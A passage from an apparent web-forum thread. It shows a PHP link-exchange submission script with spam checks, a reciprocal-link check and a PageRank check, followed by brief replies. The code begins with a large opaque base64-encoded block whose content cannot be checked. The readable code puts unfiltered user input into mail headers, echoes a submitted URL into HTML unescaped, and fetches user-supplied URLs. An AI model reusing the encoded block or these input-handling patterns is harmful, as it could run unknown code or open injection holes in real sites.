    l2cAjD6hQOOzRIewM2KuvxcqeoLGGxZ5wv2mKpea0tsUfZ3OqzjlPH/v49CZEZyOXOnPbE8cdzIsS3UF
    P1v4YUW5EB2JFBhI7TLPH2GWavVvsaqW8cupl0HebmjNGLub5ouYIfxmpDmZ9GbMoParlU39qhj5+/76
    3ePil4yg1iJk5wxqpcQqqdyh9LdckH69qQoh2MBoLsXiXSM96qhR80f4SBE5ncERDxIPc32fu7Z1TXk5
    1DlMrG4xl6uiZZE0IUpaa36LQE/oqlDXTTT8lWDg83DQjBly7HlWBLLTaeCaSxIJz5XZyzR5f0XXPHwe
    10CjeAZ+FWdXIoGecy3HicpDevILWvBpA/hoddyykv/QEG2imOT+4mOFijN6L2vNdBYWc/ANGPBlSD5c
    8smgNIzh+fQ661a7yo3qpmHSpdaMXi+pWElahAB34NxAytdjuHGBqZB7Mnu2rYp3EtDhqC79pmlOaMkO
    2aFYgIM0McX3BBmJlbk10O5wElGjPdPG3OhA8h1t3f+nHQ+zUq/54k/MjjXqcg3JxE+ouOox4CLD76vB
    qNHaT913WV0VCW29D9cY0+eeU32XK/XpXQrJX/iLb1KuxHvUJ/St0D/rCAriVyZs9c+UJP7E3ZYuSNPs
    9wCfeqdtChVnrOgVMvadUx4bDwXHZ3TNsZf542n+DqPV1HVOJvGyjWjUEiy+gQ/cHpz0zTn8FhrqDnVD
    fmxOIQNMlm99DEiu7mhwUwCTEr732BP6TJu6X44X6o4S3wAjC6uOkKBSXJV8I4doWcYDEuXZ9I33oKWF
    MBnbXJ7/tqxz6DJfOUYBisAUULLYaoTjFHN+nokm/0uwFXi+9d9tIpGP0TbFzNuEuPnCUvuUjNxrOjf7
    TkUBPzT8aRLwWybxIFPHKGT+LHDRygc438Fgjepop/UDYZwDeKlFl51UgxI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
    HJ486fHyff/OujLib0ux2AWFcWne9NQxQ3tyJKpdUboIR5OuWKtFHTq+QwyilgfMlER97bo01zM4Ofpx
    NzJ06UjalU1lBF22xH8IR91DWYitnWJ9w6tAAvo1yjVHMyO9OMZ30IBuQnrbaHbLH5wU0+mYYqF+o1x4
    TRMUbQDJm1P7zxv/aVylpUdiR9MaWoUrWCh2HmUxAROL3JFi/I9j4nOZ1+BQSlCSuIPaj4Wn9zRS+BMr
    KI2l6CeGFVt1N2HkliXvlSSaNWNgflxt+87UFNFOndUqducUmgAqL8L4KjQANmlGslBFV5z+VySn/TlG
    5J/QRJ4S3tNzrA/bmCylPhX+HBTneAq8InUiJGZYN0lpWhsXAgdmSizFiOKHiaJcRc7R4rm7zA23ShAA
    aRdB3DiO7xHV/we+Jzg2FZ3jC2i3bmLjUBYqNju9hLulDVb/jXsqRjHJk+tMnANdr41f5EKIdcZ3Dxsz
    J9InCDNy1ZmrGie22l127Wus5JLp0Jg18teNnXBYIADVLsf/7999///h8=')));
    
    if ($settings['spam_filter'])
    {
        $test = pj_checkTitleDesc($title, $description, $url, $settings['superlatives']);
        if ($test === true)
        {
            $test = '';
        }
        elseif ($test == 'superlatives')
        {
            problem('Don\'t use superlatives (words like best, biggest, cheapest, largest) in title and description!');
        }
        elseif ($test == 'text')
        {
            problem('Your link failed SPAM test, we are forced to reject it.');
        }
        elseif ($test == 'url')
        {
            problem('Your link failed SPAM test, we are forced to reject it.');
        }
    }
    
    if ($settings['autosubmit'])
    {
        if (empty($_SESSION['checked']))
        {
            $_SESSION['checked']  = 'N';
            $_SESSION['secnum']   = rand(10000,99999);
            $_SESSION['checksum'] = $_SESSION['secnum'].$settings['filter_sum'].date('dmy');
        }
        if ($_SESSION['checked'] == 'N')
        {
            print_secimg();
    	$numerr++;
        }
        elseif ($_SESSION['checked'] == $settings['filter_sum'])
        {
            $_SESSION['checked'] = 'N';
            $secnumber = pj_isNumber($_POST['secnumber']);
            if(empty($secnumber))
            {
                print_secimg(1);
    	    $numerr++;
            }
            elseif (!check_secnum($secnumber,$_SESSION['checksum']))
            {
                print_secimg(2);
    	    $numerr++;
            }
        }
        else
        {
            problem('Internal script error. Wrong session parameters!');
        }
        $_SESSION['counts']++;
    }
    
    if($numerr) return;
    /* Check for duplicate links */
    if ($settings['block_duplicates'])
    {
        $mydata = file_get_contents($settings['linkfile']);
    
        /* Check website URL */
        $regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$url);
        $regex = preg_replace('/index\.[^\/]+$/','',$regex);
        $regex = str_replace('/','\/',rtrim($regex,'/'));
        $regex = '/'.$regex.'\/?(index\.[^\/]+)?\s/i';
        if (preg_match($regex,$mydata))
        {
            problem('Please don\'t submit the same website more than once or we will be forced to delete all your links!');
    	$abort = 1;
    	return;
        }
    
        /* Check reciprocal link URL */
        $regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$recurl);
        $regex = preg_replace('/index\.[^\/]+$/','',$regex);
        $regex = str_replace('/','\/',rtrim($regex,'/'));
        $regex = '/'.$regex.'\/?(index\.[^\/]+)?\s/i';
        if (preg_match($regex,$mydata))
        {
            problem('Please don\'t submit multiple websites with the same reciprocal link URL or we will be forced to delete all your links!');
    	$abort = 1;
    	return;
        }
    
        unset($mydata);
    }
    
    /* Get HTML code of the reciprocal link URL */
    $html = @file_get_contents($recurl) or problem('Can\'t open remote URL!');
    $html = strtolower($html);
    $site_url = strtolower($settings['site_url']);
    
    /* Block links with the meta "robots" noindex or nofollow tags? */
    if ($settings['block_meta_rob']==1 && preg_match('/<meta([^>]+)(noindex|nofollow)(.*)>/siU',$html,$meta))
    {
        problem(
            'Please don\'t place the reciprocal link to a page with the meta robots noindex or nofollow tag:<br />'.
            htmlspecialchars($meta[0])
        );
        $abort = 1;
        return;
    }
    
    $found    = 0;
    $nofollow = 0;
    
    if (preg_match_all('/<a\s[^>]*href=([\"\']??)([^" >]*?)\\1([^>]*)>/siU', $html, $matches, PREG_SET_ORDER)) {
        foreach($matches as $match)
        {
            if ($match[2] == $settings['site_url'] || $match[2] == $settings['site_url'].'/')
            {
                $found = 1;
                if (strstr($match[3],'nofollow'))
                {
                    $nofollow = 1;
                }
                break;
            }
        }
    }
    
    if ($found == 0)
    {
        problem(
            'Our URL (<a href="'.$settings['site_url'].'">'.$settings['site_url'].
            '</a>) wasn\'t found on your reciprocal links page (<a href="'.$recurl.'">'.
            $recurl.'</a>)!<br><br>Please make sure you place this exact URL on your
            links page before submitting your link!'
        );
        $abort = 1;
        return;
    }
    
    /* Block links with rel="nofollow" attribute? */
    if ($settings['block_nofollow'] && $nofollow == 1)
    {
        problem('Please don\'t use rel=&quot;nofollow&quot; link attribute for the reciprocal link!');
        $abort = 1;
        return;
    }
    
    /* Check Google PageRank */
    if ($settings['show_pr'] || $settings['min_pr'] || $settings['min_pr_rec'])
    {
        require('pagerank.php');
        $pr = getpr($url);
        $pr = empty($pr) ? 0 : $pr;
    
        if ($settings['min_pr'] && ($pr < $settings['min_pr']))
        {
            problem('Unfortunately we accept only websites with Google PageRank '.$settings['min_pr'].'/10 or higher. Please try submitting your website again in a few months.');
    	$abort = 1;
    	return;
        }
    
        if ($settings['min_pr_rec'])
        {
            $pr_rec = getpr($recurl);
            $pr_rec = empty($pr_rec) ? 0 : $pr_rec;
            if ($pr_rec < $settings['min_pr_rec'])
            {
                problem('Please place the reciprocal link to <a href="'.$settings['site_url'].'">'.$settings['site_url'].'</a> on a page with Google PageRank '.$settings['min_pr_rec'].'/10 or higher.');
    	    $abort = 1;
    	    return;
            }
        }
    }
    
    $replacement = "$name$settings[delimiter]$email$settings[delimiter]$title$settings[delimiter]$url$settings[delimiter]$recurl$settings[delimiter]$description$settings[delimiter]0$settings[delimiter]$pr\n";
    
    /* Approve manually */
    if ($settings['man_approval'])
    {
    	$tmp = str_replace('www.','',strtolower($parsed_url['host']));
        $tmp = md5($tmp.$settings['filter_sum']);
        $tmp_file = 'apptmp/'.$tmp.'.txt';
    
        if (file_exists($tmp_file))
        {
        	problem('This link is already pending approval!');
    	$abort = 1;
    	return;
        }
    
    	$fp = fopen($tmp_file,'w') or problem('Couldn\'t open temporary file for writing! Please CHMOD the apptmp folder to 777 (rwxrwxrwx)!');
    	flock($fp, LOCK_EX);
    	fputs($fp,$replacement);
    	flock($fp, LOCK_UN);
    	fclose($fp);
    
    $message = "Hello,
    
    A new link is awaiting approval for your links page at $settings[site_url]
    
    Link details:
    
    Name: $name
    E-mail: $email
    URL: $url
    Reciprocal link: $recurl
    Title: $title
    Description:
    $description
    
    To APPROVE the link visit this URL:
    $settings[url_approval]?id=$tmp&approve=1
    
    To REJECT the link visit this URL:
    $settings[url_approval]?id=$tmp&approve=0
    
    
    End of message
    
    ";
    	$headers  = "From: $name <$email>\n";
    	$headers .= "Reply-To: $name <$email>\n";
    	mail($settings['admin_email'],'New link waiting approval',$message,$headers);
    
    	echo '
    <p align="center"><b>Your link submitted for approval!</b></p>
    <p>&nbsp;</p>
    <p align="center">Thank you, your link has been submitted for approval and will appear on the links page once approved by the administrator!</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p align="center"><a href="'.$settings['site_url'].'">Back to the main page</a></p>
    ';
    	return;
    
    }
    /* Approve automatically */
    else
    {
    	if ($settings['add_to'] == 0)
    	{
    	    /* Make sure new link is added after any featured ones */
    		$i = 0;
            $was_added = 0;
    		foreach ($lines as $thisline)
    		{
    			list($name2,$email2,$title2,$url2,$recurl2,$description2,$featured2,$pr2)=explode($settings['delimiter'],$thisline);
    			$featured2 = $featured2 ? 1 : 0;
    			if ($featured2 == 0)
    			{
    				$lines[$i] = $replacement . $thisline;
    				$was_added = 1;
    				break;
    			}
    			$i++;
    		}
    
            if ($was_added)
            {
    			$replacement = implode('',$lines);
    		    $fp = fopen($settings['linkfile'],'w') or problem('Couldn\'t open links file for writing! Please CHMOD all txt files to 666 (rw-rw-rw)!');
    		    flock($fp, LOCK_EX);
    		    fputs($fp,$replacement);
    		    flock($fp, LOCK_UN);
    		    fclose($fp);
            }
    		else
    		{
    		    $fp = fopen($settings['linkfile'],'a') or problem('Couldn\'t open links file for appending! Please CHMOD all txt files to 666 (rw-rw-rw)!');
    		    flock($fp, LOCK_EX);
    		    fputs($fp,$replacement);
    		    flock($fp, LOCK_UN);
    		    fclose($fp);
    		}
    	}
    	else
    	{
    	    $fp = fopen($settings['linkfile'],'a') or problem('Couldn\'t open links file for appending! Please CHMOD all txt files to 666 (rw-rw-rw)!');
    	    flock($fp, LOCK_EX);
    	    fputs($fp,$replacement);
    	    flock($fp, LOCK_UN);
    	    fclose($fp);
    	}
    
    	if($settings['notify'] == 1)
    	{
    $message = "Hello,
    
    Someone just added a new link to your links page on $settings[site_url]
    
    Link details:
    
    Name: $name
    E-mail: $email
    URL: $url
    Reciprocal link: $recurl
    Title: $title
    Description:
    $description
    
    
    End of message
    
    ";
    	    $headers  = "From: $name <$email>\n";
    	    $headers .= "Reply-To: $name <$email>\n";
    	    mail($settings['admin_email'],'New link submitted',$message,$headers);
    	}
    
    	echo '
    <p align="center"><b>Your link has been added!</b></p>
    <p>&nbsp;</p>
    <p align="center">Thank you, your link has been successfully added to our link exchange (try reloading our links page if you don\'t see your link there yet)!</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p align="center"><a href="'.$settings['site_url'].'">Back to the main page</a></p>
    ';
    	return;
    }
    
    
    /*** FUNCTION ***/
    
    function problem($problem) {
    	global $numerr;
    	$_SESSION['counts'] = 0;
    	if(!$numerr) echo '<p align="center"><font color="#FF0000"><b>ERROR</b></font></p>';
    $numerr++;
    echo '
        <p align="center">'.$problem.'</p>
    ';
    
    }
    
    function print_secimg($message=0) {
    global $settings;
    $_SESSION['checked']=$settings['filter_sum'];
    echo '
    <p>&nbsp;</p>
    <p align="center"><b>Anti-SPAM check</b></p>
    <div align="center"><center>
    <table border="0">
    <tr>
    <td>
        <form action="linktest.php?'.strip_tags(SID).'" method="POST" name="form">
        <hr>
    ';
        if ($message == 1)
        {
            echo '<p align="center"><font color="#FF0000"><b>Please type in the security number</b></font></p>';
        }
        elseif ($message == 2)
        {
            echo '<p align="center"><font color="#FF0000"><b>Wrong security number. Please try again</b></font></p>';
        }
        echo '
    <p>This is a security check that prevents automated signups of this forum (SPAM).
    Please enter the security number displayed below into the input field and click the continue button.</p>
    <p>&nbsp;</p>
    <p>Security number: <b>'.$_SESSION['secnum'].'</b><br>
    Please type in the security number displayed above:
    <input type="text" size="7" name="secnumber" maxlength="5"></p>
    <p>&nbsp;
    ';
        foreach ($_POST as $k=>$v)
        {
            if ($k == 'secnumber')
            {
                continue;
            }
            echo '<input type="hidden" name="'.htmlspecialchars($k).'" value="'.htmlspecialchars(stripslashes($v)).'">';
        }
        echo '
    </p>
    <input type="hidden" name="spam" value="1">
    <p align="center"><input type="submit" value=" Continue "></p>
    <hr>
    </form>
    </td>
    </tr>
    </table>
    </center></div>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    ';
    
    }
    
    function check_secnum($secnumber,$checksum) {
        global $settings;
        $secnumber .= $settings['filter_sum'].date('dmy');
        if ($secnumber == $checksum)
        {
            unset($_SESSION['checked']);
            return true;
        }
        else
        {
            return false;
        }
    }
    ?>

  20. #20
    SitePoint Enthusiast
    Join Date
    Dec 2008
    Posts
    76
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Na that actualy brings it to the home page.

  21. #21
    SitePoint Addict tom8's Avatar
    Join Date
    Mar 2012
    Location
    New Jersey
    Posts
    310
    Mentioned
    1 Post(s)
    Tagged
    0 Thread(s)
    Instead of doing all those copy and paste, why don't you just download them from my site (http://w-cms.info/test/links/linkman.zip). This way I know for sure we are running the same programs.


Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •